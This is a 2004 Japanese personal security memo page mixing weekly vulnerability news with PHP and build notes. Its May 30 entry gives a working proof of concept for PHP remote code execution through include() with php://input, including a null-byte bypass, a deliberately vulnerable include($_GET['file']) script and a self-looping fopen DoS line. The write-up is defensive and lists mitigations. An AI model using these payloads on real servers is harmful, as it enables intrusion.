個人的なメモと備忘録 2004年 5月

HOME | LastUpdate: 2005-12-18

目次


2004.05.30(Sun)

CVS の脆弱性を利用した攻撃が多く行われているようです。namazu.org(karin.namazu.org がセキュリティ侵害を受けました) や、ruby-lang.orgi(helium.ruby-lang.orgがクラックされました)、もじら組 などで被害があったようです。CVS リポジトリを公開している場合は、CVS のバージョンの確認を行い、必要であればバージョンアップを行ってください。

>>[PHP] include() bypassing filter with php://input (Bugtraq)

Bugtraq に、[PHP] include() bypassing filter with php://input という投稿があり、PHP の include()require() などで php://input が引数に入った場合、外部から任意の PHP スクリプトが実行できてしまう問題について報告されています。

問題となる PHP のバージョンは、PHP 3.0.13 以上となっており、PHP 4.3.7RC1 でも同じ問題を確認しました。

実際には、以下のように、ユーザからの入力を直接、include()require() に入れるような PHP スクリプトがあった場合、問題になります。

<?php
include( $_GET['file'] );
?>

実際に検証するために、このスクリプトを test.php という名前で保存し、Apache の Document Root に置き、test.php の $_GET['file'] に、php://input を与え、POST データに PHP スクリプトを与えるように HTTP リクエストを実行しました。結果としては、確かに対象のサーバ側で指定した PHP スクリプトが実行されました。

検証に使用したスクリプトは、Bugtraq の投稿にあったサンプルを変更して、以下のようにしました。PHP 4.2.0 以降で動作すると思います。

<form action="<?php echo $_SERVER['SCRIPT_NAME'] ?>" method="post">
<div>target server : <input type="text" name="server" value="127.0.0.1" /></div>
<div>file : <input type="text" name="file" value="test.php?file=" /></div>
<div>exec : <input type="text" name="cmd" value="<?php echo '<?php phpinfo() ?>' ?>" /></div>
<INPUT type="submit" value="send" />
</form>
<?php

$file   = ! empty( $_POST['file'] )   ? $_POST['file']   : '';
$server = ! empty( $_POST['server'] ) ? $_POST['server'] : '';
$cmd    = ! empty( $_POST['cmd'] )    ? $_POST['cmd']    : '';

if ( $cmd ) {
    $message  = "POST /" . $file . "php://input HTTP/1.1\r\n";
    $message .= "Host: " . $server . "\r\n";
    $message .= "Content-Type: application/x-www-form-urlencoded\r\n";
    $message .= "Content-length: " . strlen( $cmd ) . "\r\n";
    $message .= "\r\n";
    $message .= $cmd . "\r\n";

    $fp = fsockopen( $server, 80 );
    fputs( $fp, $message );
    while( ! feof( $fp ) ) {
        echo fgets( $fp );
    }
    fclose( $fp );
}
?>

この問題を回避するためには、ユーザからの入力値のチェックを行い、不正な場合は include() や、require() などを実行させないようにするという方法があります。ただし、入力値チェックでも、Null Byte Attack のような攻撃方法もありますので、ヌルバイトを削除するなどの対処も必要です。例えば、今回の場合、test.php が

include( $_GET['file'] . '.txt' );

のようになっていた場合、実際に実行すると、

include( 'php://input.txt' );

となって、ストリームが開けないというエラーが発生して、PHP スクリプトは実行されませんが、以下のように HTTP リクエストを作成する際に %00 を入れておくと、

POST /test.php?file=php://input%00 HTTP/1.1

以下のようになり、include() はバイナリセーフではないため、\0 以降は無視され、POST リクエストに入っている PHP スクリプトが実行されてしまいます。

include( "php://input\0.txt" );

また、先週に紹介した Hardened PHP を組み込んでおくと、今回の問題を回避できます。

他に php.ini の設定で、safe_modeOn に、allow_url_fopenOff にして試してみましたが、この方法では回避できないようです。

php:// から始まるストリームの指定については、PHP マニュアルの、PHP 入出力ストリーム に説明がありますので読んでおくと良いと思います。

Null Byte Attack については、個人的には以下のように関数を作成して対処しています。ついでにmagic_quotes_gpc の対策も入っています。

function sanitize( $arr )
{
    if ( is_array( $arr ) ) {
        return array_map( 'sanitize', $arr );
    }
    else {
        $ret = str_replace( "\0", "", $arr );
        if ( get_magic_quotes_gpc() ) {
            $ret = stripslashes( $ret );
        }
        return $ret;
    }
}
$_POST = sanitize( $_POST );
$_GET  = sanitize( $_GET  );

>>PHP 4.3.7RC1 公開

PHP 4.3.7 RC1 が公開されています。PHP 4.3.6 から多くのバグ修正が行われているようです。詳細は、CVS の NEWS を参照してください。

変更の主なものとしては、GD ライブラリのバージョンが 2.0.23 にアップグレード、Win32 環境のコマンドラインで、エスケープの処理の問題を修正、*printf() 関数の %f のフォーマットの問題の修正などが行われています。

>>FreeBSD 4.10-RELEASE

The FreeBSD Project から、安定版の FreeBSD 4.10-RELEASE が公開されました。詳しくは、FreeBSD 4.10-RELEASE Announcement(FreeBSD 4.10-RELEASE Announcement 日本語訳) や、FreeBSD 4.10-RELEASE Release Notes(FreeBSD 4.10-RELEASE リリースノート) などを参照してください。

スラッシュドット・ジャパンの FreeBSD 4.10-RELEASE 公開という記事にも情報がありますので、参考になると思います。

>>セキュリティ関係

*PHP

SecuriTeam.com に、PHP / Apache DoS (Resource Consumption) という、DoS 攻撃を引き起こすことが可能であるという情報がありました。実際の例として、以下のように PHP スクリプトの fopen() で自分自身を開き、無限ループを引き起こす方法が挙げられています。

<? fopen("http://127.0.0.1/loop.php","r"); ?>

この問題は、ユーザがサーバに PHP スクリプトを置くことができる必要がありますので、レンタルサーバなどでは気をつける必要があるかもしれません。対処方法としては、外部の URI を開く必要がない場合には、php.ini の allow_url_fopenOff にしておくことで、この問題は回避できます。

また、上でまとめましたが、[PHP] include() bypassing filter with php://input (Bugtraq) という問題も報告されています。こちらは、PHP スクリプトに問題がある場合、ユーザがサーバに PHP スクリプトを置くことができなくても、PHP スクリプトを実行できてしまう可能性があります。include() や、require() に、php://input が入ることがないように、入力チェックを行うことで対処できますが、危険性が高い問題だと思いますので、PHP スクリプトを書く場合は気をつけてください。

*mod_ssl

Secunia の Apache mod_ssl "ssl_util_uuencode_binary()" Buffer Overflow Vulnerability によると、mod_ssl のバージョン 2.8.17-1.3.31 以前に、DoS 攻撃や、システムが侵害される可能性のある問題が見つかったそうです。また、これに対するアナウンスが出ています([ANNOUNCE] mod_ssl 2.8.18)。

この問題は、SSLOptions +FakeBasicAuth が指定されている時に、クライアントの証明書内にある Subject-DN が 6KB を越えていると buffer overflow を起こすようです。

この問題は、mod_ssl 2.8.18-1.3.31 で修正されているそうですので、バージョンアップしてください。また、Apache 2.0.x でも同じ問題があるそうです。CVS で修正されているそうですので、Patch を適用して再コンパイルするなどの対処を行うか、FakeBasicAuth を無効にしておくと大丈夫だと思います。

FakeBasicAuth については、Apache Module mod_ssl : SSLOptions Directive を参照してください。

*その他
  • JPCERT/CC REPORT 2004-05-19 (JPCERT/CC)
    • [1] CVS サーバに含まれるヒープバッファオーバーフローの脆弱性
    • [2] Ethereal に複数の脆弱性
    • [3] Symantec Norton AntiVirus 2004 の ActiveX コントロールに含まれる脆弱性
    • [4] Neon と Cadaver に含まれるバッファオーバーフローの脆弱性
    • [5] kdelibs の URI 処理に含まれる脆弱性
    • [今週の一口メモ] 新しいコンピュータをインターネットに接続する前に

>>気になったニュース、ツールなど

▲ 目次へ戻る


2004.05.23(Sun)

いくつか非常に危険なセキュリティホールが報告されていますので、システムのバージョンの確認などを行っておいた方が安全です。

>>Hardened PHP

slashdot.org で、Hardened PHP という PHP をよりセキュアにするための Patch が紹介されていましたので、少し試してみました(slashdot.org の Hardened PHP の紹介記事)。

Hardened PHP の documentation のページに詳しく書かれていますが、インストール方法は、PHP 4.3.6 のソースコードを展開し、Hardened PHP の Patch を適用してから、configure 実行、make を行います。

現在は、PHP 4.3.6 に対する Hardened-PHP v0.1.1 が配布されていますので、php-4.3.6.tar.bz2 と hardened-php-4.3.6-0.1.1.patch.gz を取得して、以下のように PHP を作成、インストールします。

$ tar jxvf php-4.3.6.tar.bz2
$ gunzip hardened-php-4.3.6-0.1.1.patch.gz
$ cd php-4.3.6
$ patch -p1 < ../hardened-php-4.3.6-0.1.1.patch
$ ./configure
  --with-apxs=/usr/local/apache/bin/apxs \
  --without-mysql \
  --enable-mbstring
$ make
$ make test
$ sudo make install

正常にインストールされた場合、php.ini が expose_php = On になっていると、HTTP のレスポンスヘッダや、$_SERVER['SERVER_NAME'] に以下のような形で、Hardened-PHP/4.3.6 という文字が入ります。

Apache/1.3.31 (Unix) Hardened-PHP/4.3.6

(Apache の http.conf で、ServerTokens ProductOnly などによりモジュール名を表示しない設定になっている場合はこの表示はされません。)

Hardened PHP の機能としては、以下のように説明されています。詳しい内容や、どのような攻撃を防げるかについては、documentation のページに書かれています。

  • Canary protection of the Zend Memory Manager
  • Canary protection of Zend Linked Lists
  • Protection against internal format string exploits
  • Protection against arbitrary code inclusion
  • Syslog logging of attackers IP

不正な攻撃や、入力があった場合、syslog に記録できるようになっていますので、便利かもしれません。

また、include()require() で、外部のサーバからデータを取得するようなことはできなくなります(実際には、:// という文字列が含まれている場合は実行を中断するようです)ので、スクリプト中に以下のような命令を使用する場合は、Hardened PHP をインストールすると実行できなくなります。

include( 'http://www.examle.com/' );

実際に、不正なアクセスが行われると、以下のようなメッセージが syslog に記録されます。

php security-alert: Include filename is an URL (attacker '127.0.0.1')
php security-alert: Include filename longer than MAXPATHLEN chars (attacker '127.0.0.1')

安全な PHP スクリプトを書くことで、大半は回避できる問題と思われますが、セーフモードと組み合わせることで、サーバをより安全にできる可能性がありますので、共用サーバなど、セキュリティが心配な場合は、試してみても良いかもしれません。ただ、Hardened PHP を適用することによるオーバーヘッドはほとんどないとされていますが、メモリ使用量の増加などはあるようですので、使用する場合は十分にテストを行った方が安全です。

>>セキュリティ関係

*Windows

不具合情報や、Outlook 2003 のセキュリティ問題、Internet Explorer などをクラッシュさせる問題などが報告されています。

*CVS

バージョン管理システムの CVS 1.12.7 以下、1.11.15 以下のバージョンで、エントリーラインに挿入する変更フラグと非変更フラグの取り扱いに欠陥があり、heap overflow が発生する問題が見つかったそうです。この問題により、任意のコードの実行が可能となり、CVS のリポジトリが書き換えられてしまう可能性があります。

この問題を回避する方法として、問題が修正された CVS 1.11.16 と CVS 1.12.8 にアップデートするか、:pserver: として CVS サーバを動作させている場合、その代わりとして、SSH 経由で chroot された CVS サーバとして動作させるという方法が推奨されています。

*Subversion

CVS と同等の機能を持つバージョン管理システムの Subversion にも、1.0.2 以前のバージョンに、悪意のあるユーザが任意のコードを実行できてしまう問題が見つかっています。

この問題の回避方法として Subversion 1.0.3 以降にアップデートすることが推奨されています。また、Subversion 1.0.4 も公開されたようです。

*その他

>>気になったニュース、ツールなど

▲ 目次へ戻る


2004.05.16(Sun)

いろいろとツール関連、セキュリティ関連の話題が多いです。Winodws では、Sasser ワームの脆弱性を突くワーム(スラッシュドット・ジャパン)というものがでているようです。また、コンピュータウイルス・不正アクセスの届出状況について 2004年4月分(IPA セキュリティセンター)でも、かなりコンピュータウイルスの届出が多いようですので気をつけてください。

>>Chasen 2.3.3 の Perl の モジュール作成

Gentoo Linux の Portage を使用して、形態素解析システムの Chasen をインストールしていたのですが、Chasen 2.3.3 へのバージョンアップがあってから、Perl の Chasen モジュールを使った Namazu のインデックス作成で失敗することに気が付きましたので、一応、動くように Perl の Chasen モジュールを作成し直してみました。その時のメモです。

Chasen のバージョンを 2.3.3 に上げてから、mknmz コマンドを Chasen を使って実行すると以下のようにエラーが出て使えなくなりました。

$ mknmz -c ~/public_html
Can't load '/usr/lib/perl5/vendor_perl/5.8.2/i686-linux/auto/Text/ChaSen/ChaSen.so'
 for module Text::ChaSen: /usr/lib/libchasen.so.0: undefined symbol: __gxx_personality_v0
 at /usr/lib/perl5/5.8.2/i686-linux/DynaLoader.pm line 229.
 at /usr/bin/mknmz line 891
 Compilation failed in require at /usr/bin/mknmz line 891.

Web 検索してみたところ、[chasen-users:00403] FreeBSD 4.8-R への chasen-2.3.3 Perl モジュールのインストールのスレッドで、Chasen の Perl モジュールを作成するときに、Makefile.PL の指定に -lstdc++ を追加する必要があることが分かりましたので、それを参考に作成してみました。既に Chasen 自体は既にインストールされているため、Perl モジュールのみ作成しました。

$ wget http://chasen.aist-nara.ac.jp/stable/chasen/chasen-2.3.3.tar.gz
$ tar zxvf chasen-2.3.3.tar.gz
$ cd chasen-2.3.3/perl
$ vi Makefile.PL

ここで、以下のように LIBS の部分を変更して、perl Makefile.PL を実行したのですが、

'LIBS' => ['-lchasen -lstdc++']

以下のようにエラーが出て、うまくいきませんでした。使用していたのは perl 5.8.2 だったのですが、perl のバージョンの問題かもしれません。

$ perl Makefile.PL
Note (probably harmless): No library found for -lstdc++
Writing Makefile for Text::ChaSen

ここで Makefile は作成されていましたので、直接 Makefile を編集して、必要そうな部分に -lstdc++ を追加して Chasen モジュールを作成することにしました。

$ vi Makefile

EXTRALIBSLDLOADLIBS の行を以下のように -lstdc++ を追加してみました。環境によって違うかもしれませんが、手元の環境では 268行目と 269行目にありました。

EXTRALIBS = -lchasen -lstdc++
LDLOADLIBS = -lchasen -lstdc++

あとは、make を実行して、Chasen モジュールを作成し、既にある、ChaSen.so を上書きしました。

$ make
$ sudo mv blib/arch/auto/Text/ChaSen/ChaSen.so /usr/lib/perl5/vendor_perl/5.8.2/i686-linux/auto/Text/ChaSen/ChaSen.so

この後、mknmz コマンドを使用して、Chasen を使ったインデックスの作成に成功することを確認しました。

補足ですが、Text::ChaSen のページによると、Chasen 2.3.x になってから C++ のテンプレートライブラリの darts を使用するようになったため、モジュールを build する際に C++ libray のリンクが必要になったそうです。また、Gentoo Linux の Portage では、これに対応するため、Makefile.PL に -lstdc++ を追加する処理が追加されています。Perl のバージョンが 5.8.0 の時は問題なく動作していたと思われるのですが、Perl 5.8.2 にバージョンアップされてから失敗するようになったようです。最新の Perl は 5.8.4 ですので、この問題は修正されているかもしれません。

>>セキュリティ関係

*Windows

修正プログラムが公開されています。今回は新規のものは 1つのようです。2004 年 5 月のセキュリティ情報 や、マイクロソフト セキュリティ情報一覧 にも多くのセキュリティ情報がありますので、参照してください。

  • 「ヘルプとサポート センター」の脆弱性により、リモートでコードが実行される (840374) (MS04-015)

    Windows Server 2003 と Windows XP の全てのバージョンで、HCP URL(hcp:// で始まる URL) を処理する方法に問題があり、攻撃者が作成した不正な Web サイトに訪れるか、不正な電子メールを開いた場合に、リモートでコードが実行される可能性があるそうです。攻撃者がこの問題を悪用するためには、多くのユーザによる操作が必要とされています。

    深刻度は「重要」になっています。また、Windows 98,Windows 98 SE, Windows ME, Windows NT 4.0, Windows 2000 では、この問題はないそうです。

    回避策として、「HCP プロトコルの登録を解除する」、メール表示に Outlook や Outlook Express を使用している場合、最新バージョンに更新し、メールをテキスト形式のみで表示するようにするという方法が挙げられています。

    マイクロソフト セキュリティ情報 (MS04-015) : よく寄せられる質問も参照してください。

以下の 2つは情報が更新され、修正プログラムが公開されていますので、該当するバージョンの Windows を使用している場合は確認してください。

以下の情報も参考になると思います。

*Apache

Apache 1.3.31 が公開され、それより前のバージョンに含まれていた 4つのセキュリティ問題についての情報が公開されました。セキュリティ問題についての詳細な情報は、Apache HTTP Server 1.3.31 Released(日本語訳:Apache HTTP Server 1.3.31 リリース) の中で、説明されています。

mod_digest モジュールの問題、errorlog ファイルにエスケープされた任意のデータが書き込まれてしまう問題、Solaris や、AIX、IRIX など、特定の環境で排他制御の処理の問題により、DoS 攻撃が可能になってしまう問題、64bit ビックエンディアンのプラットフォームで、ネットマスクがない IP アドレスのパース処理の問題により、Allow/Deny ルールが正しく処理されない問題が修正されています。

*Opera

Opera 7.50(英語版) が公開され、いくつかのセキュリティ問題が公開されています。Opera 7.50 で修正されているそうですが、日本語版はまだ公開されていません。日本語版を使用している場合は、以下の問題などには十分注意してください。

*ProFTPD

The ProFTPD Project に、Security Issues ということで、2つのセキュリティ問題についての情報がありました。

一つは、ProFTPD 1.2.9rc3 までのバージョンに、ASCII 変換のバグがあり、ProFTPD 1.2.9 で修正されているそうです。

もう一つは、5月3日 のメモで紹介した ProFTPD CIDR Addressing ACL Security Issue の問題で、CIDR ベース(aaa.bbb.ccc.ddd/NNN の形式)によるアクセス制御を行っている場合、FTP サイト内でアクセス権限の上昇に結びつく問題があったことが報告されています。この問題は ProFTPD 1.2.10rc1 で修正されたそうです。

*その他
  • Sun Java Runtime Environment Unspecified Denial of Service Vulnerability (Secunia)

    Java SDK と JRE の 1.4.2_03 以前の Windows 版、Solaris 版、Linux 版 に、攻撃者が Java Virtual Machine の反応が遅くさせることが可能になってしまうという問題が報告されています。Java SDK と JRE のバージョンを 1.4.2_04 以上にバージョンアップすることで修正されているようです。

  • Outlook ExpressやEudoraなどにステータス・バーを偽装できるセキュリティ・ホール (IT Pro)

    Outlook Express / Outlook では、イメージマップをを利用して偽装が可能であり、Eudora では、ユーザ名、パスワードを含めた形の URI を利用するもので、ステータスバーの表示を偽装できるそうです。他のメーラでもこれらの問題が存在する可能性があり、現在のところ、Outlook Express / Outlook や、Eudora では修正されたバージョンは公開されていないようです。メール中のリンクを安易にクリックしない、テキスト形式でメールを表示させるなど、ユーザが自衛するという対策を行うことが必要とされています。

  • Symantec 製品関連

    Symantec製品に複数の脆弱性が発覚 (スラッシュドット・ジャパン)

    シマンテックの「Norton Internet Security」などに危険なセキュリティ・ホール (IT Pro)

  • JPCERT/CC REPORT 2004-05-12
    • [1] W32/Sasser ワームに関する情報
    • [2] BEA WebLogic Server および Express に含まれる認証の脆弱性
    • [3] Apple QuickTime に含まれる脆弱性
    • [4] HP Web JetAdmin に含まれる複数の脆弱性
    • [5] CDE dtlogin の XDMCP の処理に含まれる脆弱性
    • [6] Perl および ActivePerl に含まれるバッファオーバーフローの脆弱性
    • [7] AIX LVM コマンドに含まれる複数の脆弱性
    • [8] SGI IRIX のネットワーク機能に含まれる複数の脆弱性
    • [9] Linux カーネルに含まれる脆弱性に関する追加情報
    • [10] OpenSSL の SSL/TLS ハンドシェイクの処理に含まれる脆弱性に関する追加情報
    • [今週の一口メモ] 修正プログラム適用時の注意
  • JPCERT/CC Alert 2004-05-13 IEEE 802.11 DSSS 無線機器における DoS の脆弱性

    IEEE 802.11 無線プロトコルに無線 LAN の正常な通信を妨害する攻撃が可能な脆弱性が存在するそうです。対処方法として、組織内とうで無線 LAN を運用している場合、電波の到達範囲の確認と範囲を狭めるなどの対策をとることが推奨されています。

  • コンピュータウイルス・不正アクセスの届出状況について 2004年4月分 (IPA セキュリティセンター)

>>気になったニュース、ツールなど

▲ 目次へ戻る


2004.05.09(Sun)

5月10日が連休明けのところも多いと思いますが、Microsoft から公開されている修正プログラムをインストールせず、回避策を行ってもいない場合はワームが広まってしまう可能性がありますので、対策を行うことが推奨されています。

>>PHP 4 から PHP 5 への移行

PHP 4 から PHP 5 へ移行する際に参考になる情報として、Migrating from PHP 4 to PHP 5 という資料が公開されていました。PHP 4 と PHP 5 の非互換になっている点の多くが説明されていますので、読んでおくと移行する必要がある際には役に立つかもしれません。また、PHP 4 と PHP 5 の両方で動作するスクリプトの書き方も説明されています。

いくつか参考になりそうな部分を取り上げてメモしておきます。資料には、実際のスクリプトが書かれていますので、詳しくは資料を参照してください。

>>セキュリティ関係

*Windows

ワーム関連で多くの情報が出ています。連休明けは危険とされています。Microsoft などで駆除ツールが公開されていますので、対処方法を確認しておくと良いと思います。

また、Windows HotFix Briefings(2004年5月7日版) (@IT) には、以下のようにワームの他に不具合について追加情報があります。

  • [ワーム情報] Sasserワームの詳細と防御、駆除方法
  • [追加情報] MS04-011の適用による不具合について
  • [追加情報] Script Editorのセキュリティ強化など、Office XP SP-3向け修正プログラムの提供が開始
  • [追加情報] Windows NT Workstation 4.0/Windows 2000 SP2向け修正プログラムの限定リリース

他にも、4月に公開されたWindowsの危険なセキュリティ・ホール (IT Pro) に、Windows のセキュリティホールに関するまとめの記事があります。

*その他
  • Exim Buffer Overflow Vulnerabilities (Secunia)

    MTA の Exim に 2つの脆弱性が見つかったそうです。回避方法として、4.32 にバージョンアップして、exim.conf の設定で、header syntax checking を無効にすることが挙げられています。

  • DeleGate SSLway Filter Buffer Overflow Vulnerability (Secunia)

    Proxy などで使用されている DeleGate 8.9.2 以下で、SSLway フィルタに Buffer Overflow を引き起こす問題が見つかったそうです。8.9.3 で修正されているそうです。

>>気になったニュース、ツールなど

▲ 目次へ戻る


2004.05.03(Mon)

連休中ですが、Windows に感染する危険性の高いコンピュータウイルスが出回っているようです。連休明けに広まる可能性がありますので、気をつけてください。

>>PHP 5.0.0RC2 公開

PHP 5.0.0RC2 が公開されています。PHP 5.0.0RC1 から多くのバグ修正が行われているようですが、まだ多くの仕様変更や機能追加が行われています。詳しくは、PHP 5 ChangeLog を参照してください。

ChangeLog を見ると、以下の記述が気になりましたので、少し調べてみました。

Under CLI, fclose() on php://stdin, php://stdout and php://stderr will now close the real stream.Please update your CLI scripts to use STDIN, STDOUT and STDERR constants instead of fopen()/fclose(). (Wez)

以下のようなスクリプトを書くと、PHP 5.0.0RC2 以降では影響を受けそうです。

<?php
$stdout = fopen( 'php://stdout', 'w' );
fwrite( $stdout, "test1\n" );
fclose( $stdout );

echo "test2\n";
?>

スクリプトを実行すると、PHP 4.x や PHP 5.0.0RC1 では以下のようになりますが、

test1
test2

PHP 5.0.0RC2 以降では fclose() が stream を閉じてしまうため、以下のように、test2 が表示されなくなります。

test1

対処方法として、定数の STDIN, STDOUT, STDERR を使用することが推奨されています。これらの定数は、PHP マニュアルの第 23章 PHP をコマンドラインから使用するで説明されていますが、PHP 4.3.0 以降の CLI 版では、STDIN, STDOUT, STDERR という定数が常に使用できるようです。

fwrite( STDOUT, "test1\n" );

また、User Contributed Notes の投稿に、PHP 4.3.0 より前のバージョンで、標準入力、標準出力を定数に定義する方法が挙げられています。php:// で標準入力や標準出力を開かずに、定数を使用するようにした方が汎用的になりますので、php:// を使用している場合は変更をしておくと良いかもしれません。

if ( version_compare( phpversion(), '4.3.0', '<' ) ) {
    define( 'STDIN',  fopen( 'php://stdin',  'r' ) );
    define( 'STDOUT', fopen( 'php://stdout', 'w' ) );
    define( 'STDERR', fopen( 'php://stderr', 'w' ) );
    register_shutdown_function(
        create_function( '', 'fclose( STDIN ); fclose( STDOUT ); fclose( STDERR ); return TRUE;' )
    );
}

(2004.12.08 修正)

上のコードに間違いがあったことを指摘していただきましたので、コードを書き直しました。以前は、以下のようになっていましたが、

define('STDOUT',fopen("php://stdout","r"));
define('STDERR',fopen("php://stderr","r"));

定数の STDOUTSTDERR では、fopen() の第2引数は 'w' でないと意味がありません。以下のように修正しました。

define( 'STDOUT', fopen( 'php://stdout', 'w' ) );
define( 'STDERR', fopen( 'php://stderr', 'w' ) );

>>セキュリティ関係

*Windows

多くのコンピュータウイルスや、ワームなどが出回っているそうです。修正プログラムをインストールしていない場合は、修正プログラムをインストールするか、回避策を行って対処しないと危険です。

また、Windows 2000 では、MS04-011 の修正プログラムをインストールした場合、不具合が起こる可能性があるそうです。

その他、参考になる情報です。

*Rsync

April 2004 Security Advisory によると、Rsync 2.6.1 より前のバージョンに Rsync をchroot を使用せずに read/write デーモンとして運用している場合に、セキュリティ問題があったことが報告されています。rsync デーモンのユーザ権限が "nobody" より高い場合、モジュールの "path" 設定の外側への書き込みを許してしまう可能性があるそうです。

この問題を回避するためには、Rsync 2.6.1 以上にアップデートするか、Rsync をデーモンとして動作させない、または、読み込み専用デーモンとする、または、chroot 環境下で動作させる方法が挙げられています。

Rsync 2.6.1 では、--relative (-R) オプションを使用した時に、不正にファイルが転送されてしまう問題が見つかっていますので、Rsync 2.6.2 をインストールすることが推奨されています。

*ProFTPD

ProFTPD CIDR Addressing ACL Security Issue (Secunia) によると、ProFTPD 1.2.9 以前で、IP アドレスベース(aaa.bbb.ccc.ddd/NN 形式)のアクセス制御設定がうまく働いていない問題があったそうです。ProFTPD 1.2.10RC1 が公開され、この問題が修正されたようです。IP アドレスベースの制御を設定している場合には、バージョンアップした方が良さそうです。詳しくは、ProFTPD Bugzilla Bug 2267 Broken IP subnet matching にあります。

*RedHat

多くの修正パッケージが公開されています。redhat.com | Security and Updates や、レッドハット株式会社 | サポート に書かれていますが、4月30日で Red Hat Linux 9 のサポート期間が終了しています。今後は、Red Hat から修正パッケージが出ることはないと思いますが、Red Hat Linux 7.2 以降については、オープンソースのプロジェクト(Red Hat からは独立しているそうです)である、The Fedora Legacy Project でサポートが行われているようです。十分なサポートが行われているかどうかは分かりませんが、どうしても、他の OS に移行できない場合は、The Fedora Legacy Project からの情報をチェックしておくと良いと思います。

実際には、Fedora Legacy Update Advisories で Adovisory と修正パッケージの情報があります。また、Slashdot でも、Red Hat Linux 9 Reaches End-of-Life という記事が出ています。

*Gentoo Linux
*その他

>>気になったニュース、ツールなど

▲ 目次へ戻る


更新履歴

2005.12.18

掲載スクリプトの修正

2004.12.08

「PHP 5.0.0RC2 公開」の部分で掲載していたコードに問題があるという指摘を受け、修正を行いました。

2004.05.30

5月30日分を追加。

2004.05.23

5月23日分を追加。

2004.05.16

5月16日分を追加。

2004.05.09

5月9日分を追加。

2004.05.03

このページを作成。5月 3日分を追加。

▲ 目次へ戻る

LastUpdate: 2005-12-18 | HOME